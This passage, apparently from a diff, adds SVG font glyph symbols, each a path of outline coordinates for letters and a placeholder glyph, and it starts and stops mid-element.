+<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 3.265625 -5.203125 L 0.59375 -10.15625 L 2.34375 -10.15625 L 3.84375 -7.25 L 4.25 -6.125 L 4.671875 -7.25 L 6.21875 -10.15625 L 7.828125 -10.15625 L 5.125 -5.28125 L 7.984375 0 L 6.328125 0 L 4.609375 -3.1875 L 4.171875 -4.40625 L 3.703125 -3.1875 L 1.984375 0 L 0.390625 0 Z M 3.265625 -5.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 7.171875 -5.828125 L 2.515625 -5.828125 L 2.515625 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -7.078125 L 7.171875 -7.078125 L 7.171875 -12.640625 L 8.53125 -12.640625 L 8.53125 0 L 7.171875 0 Z M 7.171875 -5.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
